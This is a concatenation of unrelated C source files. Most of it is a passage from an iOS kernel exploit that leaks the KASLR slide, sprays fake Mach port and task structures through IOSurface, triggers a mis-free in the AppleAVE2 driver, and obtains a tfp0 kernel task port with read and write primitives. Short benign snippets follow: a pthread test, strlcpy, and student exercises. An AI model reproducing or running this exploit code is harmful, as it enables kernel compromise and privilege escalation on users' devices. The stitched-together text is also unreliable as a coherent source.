Therefore, you can cause a kernel panic, extract kernel panic file to read what kASLR offset was, and then do calculation with previous output log "Leaked address: "
Leaked address - Known slide = infoleak_addr
The result of calc is the static value of the hardcoded value:
infoleak_addr = ??????????; // 2
*/
LOG("Leaked address: 0x%llx\n", *(uint64_t*)(_tmpv - 4));
// This is the leaked kernel address, included KASLR
//kaslr = 0x100; // <-- Uncomment it if you want to cause kernel panic
// So be sure infoleak_addr is 100% correct, otw program will stuck here
uint64_t tmpcalc = *(uint64_t*)(_tmpv - 4) - HARDCODED_infoleak_addr;
//LOG("tmpcalc: 0x%llx\n", tmpcalc);
if( !(tmpcalc & 0xFFF) ){
// kaslr offset always be 0x1000 aligned
kaslr = tmpcalc;
break;
}
_tmpv += 4;
remainsize = ((uint64_t)map_addr + remainsize - _tmpv);
}
IOConnectUnmapMemory(ioconn, 0, mach_task_self(), map_addr);
}
mach_vm_offset_t Get_kaslr(io_connect_t ioconn){
// Info Leak located in AppleSPUProfileDriverUserClient
// open service in AppleSPUProfileDriver
uint64_t input1 = 1;
LOG("getting kaslr\n");
// Trying to allocating a new SharedDataQueue memory
while(IOConnectCallScalarMethod(ioconn, 0, &input1, 1, NULL, NULL)){
input1 = 0;
IOConnectCallScalarMethod(ioconn, 0, &input1, 1, NULL, NULL); //Remove existing SharedDataQueue memory
input1 = 1;
}
IOConnectMapMemory_test_kaslr(ioconn);
LOG("getting kaslr2\n");
int i =0;
while(!kaslr){
IOConnectCallStructMethod(ioconn, 11, NULL, 0, NULL, NULL);
IOConnectMapMemory_test_kaslr(ioconn);
if(i == 5){
i = 0;
input1 = 0;
IOConnectCallScalarMethod(ioconn, 0, &input1, 1, NULL, NULL);
input1 = 1;
IOConnectCallScalarMethod(ioconn, 0, &input1, 1, NULL, NULL);
}
i++;
}
LOG("getting kaslr3\n");
input1 = 0;
IOConnectCallScalarMethod(ioconn, 0, &input1, 1, NULL, NULL); //shutdown
return kaslr;
}
bool check_num_stringlizability_4bytes(uint32_t input_num){
char *stringlize = (char*)&input_num;
if(stringlize[0] == '\0')
return false;
if(stringlize[1] == '\0')
return false;
return true;
}
void IOSurfaceRootUserClient_sRemoveValue(io_connect_t surfaceroot_ioconn, uint32_t spray_id, uint32_t key){
// if key == 0, indicate delete the entire dictionary
uint32_t input_stru[3] = {0};
input_stru[0] = spray_id;
input_stru[1] = 0;
input_stru[2] = key;
size_t output_stru_size = 4;
uint32_t output_stru = 0;
IOConnectCallStructMethod(surfaceroot_ioconn, 11, input_stru, sizeof(input_stru), &output_stru, &output_stru_size);
}
uint32_t hit_key = 0;
void IOSurfaceRootUserClient_sCopyValue(io_connect_t surfaceroot_ioconn, uint32_t spray_id, uint32_t lookup_key){
uint32_t input_stru[3] = {0};
input_stru[0] = spray_id;
input_stru[1] = 0;
input_stru[2] = lookup_key;
size_t output_stru_size = 0x5000;
char *output_stru = calloc(1, 0x5000);
int kr = IOConnectCallStructMethod(surfaceroot_ioconn, 10, input_stru, sizeof(input_stru), output_stru, &output_stru_size);
if(kr){
LOG("lookup_key: 0x%x IOSurfaceRootUserClient_sCopyValue failure: 0x%x\n", lookup_key, kr);
free(output_stru);
return;
}
if(*(uint64_t*)(output_stru + 0x10) != 0x6666666666666666){
hit_key = lookup_key;
leaked_ourTaskPort_addr = *(uint64_t*)(output_stru + 0x50);
leaked_MIDIServerPort_addr = *(uint64_t*)(output_stru + 0x58);
}
free(output_stru);
}
void build_fake_ipc_port_stru(struct ipc_port *fakeport, uint64_t specify_kobject){
bzero(fakeport, sizeof(struct ipc_port)); // Size: 0xA8
fakeport->ip_bits = IO_BITS_ACTIVE | IKOT_TASK;
fakeport->ip_references = 100;
fakeport->ip_lock.type = 0x11;
fakeport->ip_messages.port.receiver_name = 1;
fakeport->ip_messages.port.msgcount = 0;
fakeport->ip_messages.port.qlimit = MACH_PORT_QLIMIT_KERNEL;
fakeport->ip_srights = 99;
fakeport->ip_kobject = specify_kobject;
fakeport->ip_receiver = kernel_space_addr;
}
void build_fake_task_stru_forReadMem(char *faketask, uint64_t target_addr){
*(uint32_t*)(faketask + 0x10) = 99; // ref_cnt
// offset 0x368: mach task->bsd_info
*(uint64_t*)(faketask + 0x368) = target_addr - 0x60;
}
void build_fake_task_stru_forTFP0(struct task *faketask){
faketask->ref_count = 99;
faketask->lock.data = 0x0;
faketask->lock.type = 0x22;
faketask->active = 1;
faketask->map = kernel_map_addr;
*(uint64_t*)((char*)faketask + 0x3A8) = kaslr + HARDCODED_kernel_base;
*(uint64_t*)((char*)faketask + 0x3B0) = kaslr;
}
void Arrange_cowmem(){
close(cow_fd);
vm_address_t addr = SPRAY_ADDRESS;
munmap((void*)addr, cowmemlen);
vm_allocate(mach_task_self(), &addr, 0x4000, VM_FLAGS_FIXED);
addr = SPRAY_ADDRESS + 0x4000;
munmap((void*)addr, cowmemlen);
vm_allocate(mach_task_self(), &addr, 0x4000, VM_FLAGS_FIXED);
addr = SPRAY_ADDRESS + 0x8000;
munmap((void*)addr, cowmemlen);
vm_allocate(mach_task_self(), &addr, 0x4000, VM_FLAGS_FIXED);
}
void Send_spray_mem_toKernel1(io_connect_t surfaceroot_ioconn, uint32_t spray_id){
uint64_t first_spray_addr = SPRAY_ADDRESS;
uint32_t spray_data_len = 0x4000;
uint64_t last_spray_addr = first_spray_addr + spray_data_len + cowmemlen;
uint32_t cnt = 0xC000;
//LOG("spray_data_len: 0x%x total: 0x%x\n", spray_data_len, spray_data_len * cnt);
bzero((void*)SPRAY_ADDRESS, 3*0x4000);
uint64_t *spraydata = (uint64_t*)(SPRAY_ADDRESS + 0x4000);
// For tagging purpose, if memory content gets replaced, these 0x66 will be gone
memset(spraydata, 0x66, 0x4000);
// Empty member values as to avoid any function calling, thus to bypass PAC
spraydata[OF(0x58)] = 0;
spraydata[OF(0x28)] = 0;
spraydata[OF(0x30)] = 0;
spraydata[OF(0x20)] = 0;
build_fake_ipc_port_stru((struct ipc_port *)((char*)spraydata + 0x100), kaslr + Predict_kalloc_ADDRESS - spray_data_len + 0x600);
build_fake_ipc_port_stru((struct ipc_port *)((char*)spraydata + 0x200), kaslr + Predict_kalloc_ADDRESS - spray_data_len + 0xA00);
build_fake_ipc_port_stru((struct ipc_port *)((char*)spraydata + 0x300), kaslr + Predict_kalloc_ADDRESS - spray_data_len + 0xE00);
build_fake_ipc_port_stru((struct ipc_port *)((char*)spraydata + 0x400), kaslr + Predict_kalloc_ADDRESS - spray_data_len + 0x1200);
build_fake_ipc_port_stru((struct ipc_port *)((char*)spraydata + 0x500), kaslr + Predict_kalloc_ADDRESS - spray_data_len + 0x1600);
build_fake_task_stru_forReadMem((char*)spraydata + 0x600, kaslr + HARDCODED_kernel_map);
build_fake_task_stru_forReadMem((char*)spraydata + 0xA00, kaslr + HARDCODED_kernel_map + 4);
build_fake_task_stru_forReadMem((char*)spraydata + 0xE00, kaslr + HARDCODED_ipc_space_kernel);
build_fake_task_stru_forReadMem((char*)spraydata + 0x1200, kaslr + HARDCODED_ipc_space_kernel + 4);
build_fake_task_stru_forTFP0((struct task *)((char*)spraydata + 0x1600));
// update spray_data_len
// OSData use kmem_alloc while request size is equal or greater than page_size, a more primitive memory alloc system, and they won't be at kalloc zones, because of that, shrink spray_data_len to 0x3FFF
spray_data_len = 0x3FFF;
last_spray_addr = first_spray_addr + 0x4000 + cowmemlen;
//last_spray_addr = first_spray_addr + spray_data_len + cowmemlen;
uint32_t *seria_data = (void*)(first_spray_addr + cowmemlen - 20);
seria_data[0] = spray_id;
seria_data[1] = 0;
seria_data[2] = kOSSerializeMagic;
seria_data[3] = kOSSerializeEndCollection | kOSSerializeArray | 2;
seria_data[4] = kOSSerializeData | spray_data_len;
uint32_t *seria_data_end = (void*)last_spray_addr;
seria_data_end[0] = kOSSerializeEndCollection | kOSSerializeString | 2;
seria_data_end[1] = 0x1;
uint64_t seria_data_len = spray_data_len + 20 + 8;
seria_data_len += 1;
size_t output_stru_size = 4;
uint32_t output_stru = 0;
// Start spraying
for(int i=1; i<cnt; i++){
seria_data_end[1] = i;
if(!check_num_stringlizability_4bytes(i)) // Make sure key is valid
continue;
// IOSurfaceRootUserClient_sSetValue
IOConnectCallStructMethod(surfaceroot_ioconn, 9, seria_data, seria_data_len, &output_stru, &output_stru_size);
}
}
void Send_spray_mem_toKernel2(io_connect_t surfaceroot_ioconn, uint32_t spray_id){
uint64_t first_spray_addr = SPRAY_ADDRESS;
uint32_t spray_data_len = 0x4000;
uint64_t last_spray_addr = first_spray_addr + spray_data_len + cowmemlen;
bzero((void*)SPRAY_ADDRESS, 3*0x4000);
uint64_t *spraydata = (uint64_t*)(SPRAY_ADDRESS + 0x4000);
spraydata[0] = kaslr + Predict_kalloc_ADDRESS - spray_data_len + 0x100; // first fake ipc object, insert fakeport here pointing to a faketask stru
spraydata[1] = kaslr + Predict_kalloc_ADDRESS - spray_data_len + 0x200;
spraydata[2] = kaslr + Predict_kalloc_ADDRESS - spray_data_len + 0x300;
spraydata[3] = kaslr + Predict_kalloc_ADDRESS - spray_data_len + 0x400;
spraydata[4] = kaslr + Predict_kalloc_ADDRESS - spray_data_len + 0x500;
// update spray_data_len
spray_data_len = 0x3FFF;
last_spray_addr = first_spray_addr + 0x4000 + cowmemlen;
//last_spray_addr = first_spray_addr + spray_data_len + cowmemlen;
uint32_t *seria_data = (void*)(first_spray_addr + cowmemlen - 20);
seria_data[0] = spray_id;
seria_data[1] = 0;
seria_data[2] = kOSSerializeMagic;
seria_data[3] = kOSSerializeEndCollection | kOSSerializeArray | 2;
seria_data[4] = kOSSerializeData | spray_data_len;
uint32_t *seria_data_end = (void*)last_spray_addr;
seria_data_end[0] = kOSSerializeEndCollection | kOSSerializeString | 2;
seria_data_end[1] = 0x1;
uint64_t seria_data_len = spray_data_len + 20 + 8;
seria_data_len += 1;
size_t output_stru_size = 4;
uint32_t output_stru = 0;
for(int i=0xD000;i<0xD200;i++){
seria_data_end[1] = i;
if(!check_num_stringlizability_4bytes(i))
continue;
// IOSurfaceRootUserClient_sSetValue
IOConnectCallStructMethod(surfaceroot_ioconn, 9, seria_data, seria_data_len, &output_stru, &output_stru_size);
}
}
void Send_spray_mem_toKernel3(io_connect_t surfaceroot_ioconn, uint32_t spray_id){
uint64_t first_spray_addr = SPRAY_ADDRESS;
uint32_t spray_data_len = 0x4000;
uint64_t last_spray_addr = first_spray_addr + spray_data_len + cowmemlen;
uint32_t cnt = 0xC000;
//LOG("spray_data_len: 0x%x total: 0x%x\n", spray_data_len, spray_data_len * cnt);
bzero((void*)SPRAY_ADDRESS, 3*0x4000);
uint64_t *spraydata = (uint64_t*)(SPRAY_ADDRESS + 0x4000);
build_fake_ipc_port_stru((struct ipc_port *)((char*)spraydata + 0x500), kaslr + Predict_kalloc_ADDRESS - spray_data_len + 0x1600);
build_fake_task_stru_forTFP0((struct task *)((char*)spraydata + 0x1600));
// update spray_data_len
spray_data_len = 0x3FFF;
last_spray_addr = first_spray_addr + 0x4000 + cowmemlen;
//last_spray_addr = first_spray_addr + spray_data_len + cowmemlen;
uint32_t *seria_data = (void*)(first_spray_addr + cowmemlen - 20);
seria_data[0] = spray_id;
seria_data[1] = 0;
seria_data[2] = kOSSerializeMagic;
seria_data[3] = kOSSerializeEndCollection | kOSSerializeArray | 2;
seria_data[4] = kOSSerializeData | spray_data_len;
uint32_t *seria_data_end = (void*)last_spray_addr;
seria_data_end[0] = kOSSerializeEndCollection | kOSSerializeString | 2;
seria_data_end[1] = 0x1;
uint64_t seria_data_len = spray_data_len + 20 + 8;
seria_data_len += 1;
size_t output_stru_size = 4;
uint32_t output_stru = 0;
// Start spraying
for(int i=1; i<cnt; i++){
seria_data_end[1] = i;
if(!check_num_stringlizability_4bytes(i)) // Make sure key is valid
continue;
// IOSurfaceRootUserClient_sSetValue
IOConnectCallStructMethod(surfaceroot_ioconn, 9, seria_data, seria_data_len, &output_stru, &output_stru_size);
}
}
uint32_t IOSurfaceRootUserClient_create_surface(io_connect_t ioconn, uint64_t *remote_map_addr, uint32_t *remote_map_size){
uint32_t dict_create[] =
{
kOSSerializeMagic,
kOSSerializeEndCollection | kOSSerializeDictionary | 1,
kOSSerializeSymbol | 19,
0x75534f49, 0x63616672, 0x6c6c4165, 0x6953636f, 0x657a, // "IOSurfaceAllocSize"
kOSSerializeEndCollection | kOSSerializeNumber | 32,
0x30000, //Need be least greater than 0x25b00 ref: AVE ERROR: IOSurfaceBufferInitInfo->Size() bad (48 - 154368)
0x0,
};
size_t output_stru_size = 0xDD0; // A fixed size
char *output_stru = calloc(1, output_stru_size);
int kr = IOConnectCallStructMethod(ioconn, 0, dict_create, sizeof(dict_create), output_stru, &output_stru_size);
if(!kr){
uint64_t ret_addr1 = *(uint64_t*)output_stru;
//uint64_t ret_addr2 = *(uint64_t*)(output_stru + 8); // Read-only mapping from kernel
//uint64_t ret_addr3 = *(uint64_t*)(output_stru + 0x10); // Read-only mapping from kernel
// These are unused values here, you can deleted them.
uint32_t ret_addr1_size = *(uint32_t*)(output_stru + 0x1C); // Must be uint32_t length here
*remote_map_addr = ret_addr1;
*remote_map_size = ret_addr1_size;
return *(uint32_t*)(output_stru+0x18); //Output: Surface ID
}
return 0;
}
mach_port_t local_sendrecv_port = 0;
void send_to_self_init(){
mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &local_sendrecv_port);
LOG("local_sendrecv_port: 0x%x\n", local_sendrecv_port);
mach_port_insert_right(mach_task_self(), local_sendrecv_port, local_sendrecv_port, MACH_MSG_TYPE_MAKE_SEND);
}
void send_to_self_aaa(){
struct send_Msg{
mach_msg_base_t base;
mach_msg_ool_ports_descriptor_t ool_ports;
mach_msg_ool_ports_descriptor_t ool_ports2;
mach_msg_ool_ports_descriptor_t ool_ports3;
}msg = {0};
msg.base.header.msgh_bits = MACH_MSGH_BITS_COMPLEX|MACH_MSGH_BITS(MACH_MSG_TYPE_COPY_SEND, 0);
msg.base.header.msgh_size = sizeof(msg);
msg.base.header.msgh_remote_port = local_sendrecv_port;
msg.base.header.msgh_id = 0x111;
msg.base.body.msgh_descriptor_count = 3;
msg.ool_ports.disposition = MACH_MSG_TYPE_COPY_SEND;
msg.ool_ports.deallocate = false;
msg.ool_ports.type = MACH_MSG_OOL_PORTS_DESCRIPTOR;
msg.ool_ports.copy = MACH_MSG_VIRTUAL_COPY;
uint32_t *oolports = calloc(1, 0x2000);
oolports[8] = mach_task_self(); // Can use to leak our task stru address
LOG("midi_bsport: 0x%x\n", midi_bsport);
oolports[9] = midi_bsport;
msg.ool_ports.address = oolports;
msg.ool_ports.count = 0x7FE;
/*
kernel buf size = msg.ool_ports.count x 0x8, which in this case:
0x7FE x 0x8 = 0x3FF0
Reason for no use 0x800, is due to our spray method
OSData use kmem_alloc while request size is equal or greater than page_size, a more primitive memory alloc system, and they won't be at kalloc zones, because of that, we use 0x3FFF as spray size, causes the last byte at end of the page unpredictable, if use 0x800, anything besides 0 may misinterpreted as a kernel pointer, leads to exploit failure.
Avoid run into that risk, do not use 0x800.
*/
memcpy(&msg.ool_ports2, &msg.ool_ports, sizeof(msg.ool_ports));
memcpy(&msg.ool_ports3, &msg.ool_ports, sizeof(msg.ool_ports));
mach_msg_send((mach_msg_header_t *)&msg);
}
uint64_t KernelRead_from_pid_for_task(uint32_t port1, uint32_t port2){
int kr = 0;
int low32bits = 0;
int high32bits = 0;
if((kr = pid_for_task(port1, &low32bits))){
LOG("KernelRead_from_pid_for_task 1 err: 0x%x\n", kr);
}
if((kr = pid_for_task(port2, &high32bits))){
LOG("KernelRead_from_pid_for_task 2 err: 0x%x\n", kr);
}
return (((uint64_t)high32bits) << 32) | (uint32_t)low32bits;
}
void trying_to_catch_crafted_port(mach_msg_ool_ports_descriptor_t *ool_port){
uint32_t *recvports = ool_port->address;
//LOG("got ports: 0x%x 0x%x 0x%x 0x%x 0x%x\n", recvports[0], recvports[1], recvports[2], recvports[3], recvports[4]);
if(recvports[0]){
kernel_map_addr = KernelRead_from_pid_for_task(recvports[0], recvports[1]);
LOG("kernel map: 0x%llx\n", kernel_map_addr);
kernel_space_addr = KernelRead_from_pid_for_task(recvports[2], recvports[3]);
LOG("kernel space: 0x%llx\n", kernel_space_addr);
tfp0_port = recvports[4];
mach_port_destroy(mach_task_self(), recvports[0]);
mach_port_destroy(mach_task_self(), recvports[1]);
mach_port_destroy(mach_task_self(), recvports[2]);
mach_port_destroy(mach_task_self(), recvports[3]);
}
}
void send_to_self_bbb(){
struct send_Msg{
mach_msg_base_t base;
mach_msg_ool_ports_descriptor_t ool_ports;
mach_msg_ool_ports_descriptor_t ool_ports2;
mach_msg_ool_ports_descriptor_t ool_ports3;
mach_msg_trailer_t trailer;
}msg = {0};
msg.base.header.msgh_size = sizeof(msg);
msg.base.header.msgh_local_port = local_sendrecv_port;
int mrr = mach_msg_receive((mach_msg_header_t *)&msg);
if(mrr){
LOG("bbb mach_msg returns err: 0x%x\n", mrr);
return;
}
trying_to_catch_crafted_port(&msg.ool_ports);
trying_to_catch_crafted_port(&msg.ool_ports2);
trying_to_catch_crafted_port(&msg.ool_ports3);
}
uint32_t KernelRead_4bytes(uint64_t rAddr){
uint32_t retdata = 0;
vm_size_t outsize = 0x4;
vm_read_overwrite(tfp0_port, rAddr, 0x4, (vm_address_t)&retdata, &outsize);
return retdata;
}
uint64_t KernelRead_8bytes(uint64_t rAddr){
uint64_t retdata = 0;
vm_size_t outsize = 0x8;
vm_read_overwrite(tfp0_port, rAddr, 0x8, (vm_address_t)&retdata, &outsize);
return retdata;
}
void KernelRead_anySize(uint64_t rAddr, char *outbuf, size_t outbuf_len){
vm_size_t outsize = outbuf_len;
vm_read_overwrite(tfp0_port, rAddr, outbuf_len, (vm_address_t)outbuf, &outsize);
}
void KernelWrite_2bytes(uint64_t wAddr, uint16_t wData){
vm_write(tfp0_port, wAddr, (vm_offset_t)&wData, 0x2);
}
void KernelWrite_4bytes(uint64_t wAddr, uint32_t wData){
vm_write(tfp0_port, wAddr, (vm_offset_t)&wData, 0x4);
}
void KernelWrite_8bytes(uint64_t wAddr, uint64_t wData){
vm_write(tfp0_port, wAddr, (vm_offset_t)&wData, 0x8);
}
void KernelWrite_anySize(uint64_t wAddr, char *inputbuf, uint32_t inputbuf_len){
vm_write(tfp0_port, wAddr, (vm_offset_t)inputbuf, inputbuf_len);
}
uint64_t KernelAllocate(size_t len){
vm_address_t return_addr = 0;
vm_allocate(tfp0_port, (vm_address_t*)&return_addr, len, VM_FLAGS_ANYWHERE);
return return_addr;
}
void AppleAVE2UserClient_sPrepareToEncodeFrame(io_connect_t ioconn, io_connect_t surface_ioconn){
send_to_self_init();
{
size_t input_stru_size = 0x8;
char *input_stru = calloc(1, input_stru_size);
size_t output_stru_size = 0x4;
char *output_stru = calloc(1, output_stru_size);
IOConnectCallStructMethod(ioconn, 0, input_stru, input_stru_size, output_stru, &output_stru_size);
// For: AVE ERROR: FindUserClientInfo EnqueueGated failed
}
uint64_t surface1_map_addr = 0, surface1_map_size = 0;
uint32_t iosurface_1 = IOSurfaceRootUserClient_create_surface(surface_ioconn, &surface1_map_addr, (uint32_t*)&surface1_map_size);
Arrange_cowmem();
// Spray memory contain fakeport and faketask
Send_spray_mem_toKernel1(surface_ioconn, iosurface_1);
char *clientbuf = malloc(surface1_map_size);
bzero(clientbuf, surface1_map_size);
*(uint64_t*)(clientbuf + 0x0) = Predict_kalloc_ADDRESS + kaslr; // Target kalloc heap will be mis-freed
*(uint32_t*)(clientbuf + 0x7F4) = 0x6; // clientbuf->MEMORY_INFO_array_size1
*(uint64_t*)(clientbuf + 0x3420) = 0x6; // clientbuf->MEMORY_INFO_array_size2
// 5 is the limit here, 6 gives an extra round which become over-boundary reading
Send_overwritting_iosurfaceMap((uint64_t)clientbuf, surface1_map_size, surface1_map_addr);
Reply_notify_completion();
free(clientbuf);
char *input_stru = calloc(1, 264); //0x108
*(uint32_t*)(input_stru + 4) = iosurface_1; //FrameQueueSurfaceId
*(uint32_t*)(input_stru + 8) = iosurface_1; //InitInfoSurfaceId, vulnerable iosurface user
*(uint32_t*)(input_stru + 12) = iosurface_1; //ParameterSetsBuffer
*(uint32_t*)(input_stru + 208) = iosurface_1; // codedHeaderCSID & codedHeaderBuffer [0]
*(uint32_t*)(input_stru + 212) = iosurface_1; // codedHeaderCSID & codedHeaderBuffer [1]
size_t output_stru_size = 0x4;
char *output_stru = calloc(1, output_stru_size);
// Load crafted clientbuf into chamber
IOConnectCallStructMethod(ioconn, 7, input_stru, 0x108, output_stru, &output_stru_size);
LOG("Triggering vulnerability...\n");
{
// Release the clientbuf to trigger vulnerability
size_t input_stru_size = 0x4;
char *input_stru = calloc(1, input_stru_size);
size_t output_stru_size = 0x4;
char *output_stru = calloc(1, output_stru_size);
IOConnectCallStructMethod(ioconn, 1, input_stru, input_stru_size, output_stru, &output_stru_size);
}
send_to_self_aaa();
// check spray memory
LOG("check spray memory...\n");
for(int i=1;i<0xC000;i++){
if(!check_num_stringlizability_4bytes(i))
continue;
IOSurfaceRootUserClient_sCopyValue(surface_ioconn, iosurface_1, i);
}
IOSurfaceRootUserClient_sRemoveValue(surface_ioconn, iosurface_1, hit_key);
// spray again
Send_spray_mem_toKernel2(surface_ioconn, iosurface_1);
send_to_self_bbb();
// release spray mem to have more avai memory
for(int i=1;i<0xC000;i++){
if(!check_num_stringlizability_4bytes(i))
continue;
IOSurfaceRootUserClient_sRemoveValue(surface_ioconn, iosurface_1, i);
}
Send_spray_mem_toKernel3(surface_ioconn, iosurface_1);
// Now we supposedly got temporary TFP0 port
Send_exit_msg(); // Quit MIDIServer
mach_port_destroy(mach_task_self(), midi_bsport);
LOG("Testing tfp0...\n");
{
uint32_t testread = 0;
vm_size_t outsize = 0x4;
int kr = vm_read_overwrite(tfp0_port, kaslr + HARDCODED_kernel_base, 0x4, (vm_address_t)&testread, &outsize);
LOG(" Testing kernel memory reading: kr(0x%x) 0x%x\n", kr, testread);
if(kr == KERN_SUCCESS)
LOG(" Success!\n");
}
#if 0
// release spray mem, ease up kernel
for(int i=1; i<0xC000; i++){
if(!check_num_stringlizability_4bytes(i))
continue;
IOSurfaceRootUserClient_sRemoveValue(surface_ioconn, iosurface_1, i);
}
#endif
LOG("Got tfp0: 0x%x\n", tfp0_port);
extern mach_port_t tfp0;
tfp0 = tfp0_port;
extern uint64_t kernel_base;
kernel_base = HARDCODED_kernel_base + kaslr;
LOG("Found kernel base: 0x%016llx\n", kernel_base);
uint64_t our_proc = 0;
uint64_t proc = KernelRead_8bytes(HARDCODED_allproc + kaslr);
LOG("Found allproc: 0x%016llx\n", proc);
while(proc != 0) {
if(KernelRead_4bytes(proc + HARDCODED_proc_p_id) == getpid()) {
LOG("Found our proc: 0x%016llx\n", proc);
our_proc = proc;
break;
}
proc = KernelRead_8bytes(proc);
}
if (our_proc == 0) {
LOG("Failed to find our proc\n");
return;
}
extern uint64_t cached_proc_struct_addr;
cached_proc_struct_addr = our_proc;
}
void kernel_exp_start(io_connect_t profile_ioconn, io_connect_t ave_ioconn, io_connect_t surface_ioconn){
Get_kaslr(profile_ioconn); LOG("kaslr: 0x%llx\n", kaslr);
AppleAVE2UserClient_sPrepareToEncodeFrame(ave_ioconn, surface_ioconn);
}
#endif
|
the_stack_data/1216226.c
|
/* Copyright (C) 2007, 2009, 2010, 2011 Free Software Foundation, Inc.
This program is free software; you can redistribute it and/or modify
it under the terms of the GNU General Public License as published by
the Free Software Foundation; either version 3 of the License, or
(at your option) any later version.
This program is distributed in the hope that it will be useful,
but WITHOUT ANY WARRANTY; without even the implied warranty of
MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the
GNU General Public License for more details.
You should have received a copy of the GNU General Public License
along with this program. If not, see <http://www.gnu.org/licenses/>.
This file was written by Chris Demetriou ([email protected]). */
/* Simple test to trigger thread events (thread start, thread exit). */
#include <pthread.h>
#include <stdlib.h>
#include <stdio.h>
static void *
threadfunc (void *arg)
{
printf ("in threadfunc\n");
return NULL;
}
static void
after_join_func (void)
{
printf ("finished\n");
}
int main (int argc, char *argv[])
{
pthread_t thread;
if (pthread_create (&thread, NULL, threadfunc, NULL) != 0)
{
printf ("pthread_create failed\n");
exit (1);
}
if (pthread_join (thread, NULL) != 0)
{
printf ("pthread_join failed\n");
exit (1);
}
after_join_func ();
return 0;
}
|
the_stack_data/701060.c
|
struct S1
{
char ch0, ch1, ch2, ch3;
} my_struct1;
struct S2
{
int i1, i2;
} my_struct2;
int main()
{
// a pointer into a struct
int *p=(int *)&my_struct1;
*p=0x03020100;
// endianness-dependent
assert(my_struct1.ch0==0);
assert(my_struct1.ch1==1);
assert(my_struct1.ch2==2);
assert(my_struct1.ch3==3);
// same bigger
long long int *q=(long long int *)&my_struct2;
*q=0x200000001ull;
assert(my_struct2.i1==1);
assert(my_struct2.i2==2);
}
|
the_stack_data/566574.c
|
/* $OpenBSD: strlcpy.c,v 1.2 1998/11/06 04:33:16 wvdputte Exp $ */
/*
* Copyright (c) 1998 Todd C. Miller <[email protected]>
* All rights reserved.
*
* Redistribution and use in source and binary forms, with or without
* modification, are permitted provided that the following conditions
* are met:
* 1. Redistributions of source code must retain the above copyright
* notice, this list of conditions and the following disclaimer.
* 2. Redistributions in binary form must reproduce the above copyright
* notice, this list of conditions and the following disclaimer in the
* documentation and/or other materials provided with the distribution.
* 3. The name of the author may not be used to endorse or promote products
* derived from this software without specific prior written permission.
*
* THIS SOFTWARE IS PROVIDED ``AS IS'' AND ANY EXPRESS OR IMPLIED WARRANTIES,
* INCLUDING, BUT NOT LIMITED TO, THE IMPLIED WARRANTIES OF MERCHANTABILITY
* AND FITNESS FOR A PARTICULAR PURPOSE ARE DISCLAIMED. IN NO EVENT SHALL
* THE AUTHOR BE LIABLE FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL,
* EXEMPLARY, OR CONSEQUENTIAL DAMAGES (INCLUDING, BUT NOT LIMITED TO,
* PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; LOSS OF USE, DATA, OR PROFITS;
* OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY,
* WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR
* OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS SOFTWARE, EVEN IF
* ADVISED OF THE POSSIBILITY OF SUCH DAMAGE.
*/
#if defined(LIBC_SCCS) && !defined(lint)
static char *rcsid = "$OpenBSD: strlcpy.c,v 1.2 1998/11/06 04:33:16 wvdputte Exp $";
#endif /* LIBC_SCCS and not lint */
#include <sys/types.h>
#include <string.h>
/*
* Copy src to string dst of size siz. At most siz-1 characters
* will be copied. Always NUL terminates (unless siz == 0).
* Returns strlen(src); if retval >= siz, truncation occurred.
*/
size_t strlcpy(char *dst, const char *src, size_t siz)
{
register char *d = dst;
register const char *s = src;
register size_t n = siz;
if (n == 0)
return(strlen(s));
while (*s != '\0') {
if (n != 1) {
*d++ = *s;
n--;
}
s++;
}
*d = '\0';
return(s - src); /* count does not include NUL */
}
|
the_stack_data/82950297.c
|
/* Exercise 1 - Calculations
Write a C program to input marks of two subjects. Calculate and print the average of the two marks. */
#include <stdio.h>
int main()
{
float Mark1,Mark2;
float total,average;
printf("Enter the mark of subject1 :");
scanf("%f",&Mark1);
printf("Enter the mark of subject2 :");
scanf("%f",&Mark2);
total=Mark1+Mark2;
average=total/2.0;
printf("Average is = %.2f",average);
return 0;
}
|
the_stack_data/1178747.c
|
void mx_sort_arr_int(int *arr, int size) {
if (!arr) {
return;
}
for (int i = 0; i < size - 1; i++) {
int max = i;
int swap = arr[i];
for (int j = i + 1; j < size; j++) {
if (arr[max] > arr[j]) {
max = j;
}
}
arr[i] = arr[max];
arr[max] = swap;
}
}
|
the_stack_data/25138573.c
|
#include <stdio.h>
int i;
int j;
void preenche(int x[],int y)
{
for(i=0;i<y;i++){
printf("posicao: %d; digite os valores: ",i);
scanf("%d",&x[i]);
}
}
int somavetpa(int x[],int y)
{
int soma=0;
for(i=0;i<y;i++){
if(i%2==0 && i!=0){
soma+=x[i];
}
else{
soma=soma;
}
}
return soma;
}
int valoresiguais(int x[],int y,int z[])
{
int cont=0;
for(i=0;i<y;i++){
if(x[i]==z[i]){
cont++;
}
else{
cont=cont;
}
}
return cont;
}
main()
{
/*printf("\nexercicio 1\n\n");
int v[5],so;
preenche(v,5);
so=somavetpa(v,5);
printf("\n%d",so);*/
/*printf("\nexercicio 2\n\n");
int v[5],v1[5],va;
preenche(v,5);
preenche(v1,5);
va=valoresiguais(v,5,v1);
printf("\n%d",va);*/
/*printf("\nexercicio 3\n\n");
int m[3][3];
float soma=0,cont=0,media;
for(i=0;i<3;i++){
for(j=0;j<3;j++){
printf("digite os valores: ");
scanf("%d",&m[i][j]);
}
}
for(i=0;i<3;i++){
for(j=0;j<3;j++){
if(i==j){
soma+=m[i][j];
cont++;
media=soma/cont;
}
}
}
printf("\nsoma: %.2f",soma);
printf("\nqt: %.2f",cont);
printf("\nmedia: %.2f",media);*/
}
|
the_stack_data/149992.c
|
///*
// * main.c
// *
// * Created on: Aug 21, 2016
// * Author: fabian
// */
//
//
//#include <avr/io.h>
//#include <stdint.h>
//#include "avr/interrupt.h"
//#include "stdbool.h"
//#include "segment_display.h"
//
//#define ADC_AVERAGES 200
//
//enum {
// ADC_CURRENT = 0x00, // ADC0
// ADC_VOLTAGE_POS = 0x01, // ADC6
// ADC_VOLTAGE_NEG = 0x02, // ADC7
// ADC_INVERT_VOLTAGE = 0x04
//};
//
//// ADC flags for channel selection
//volatile uint8_t adc_flags = ADC_CURRENT;
//
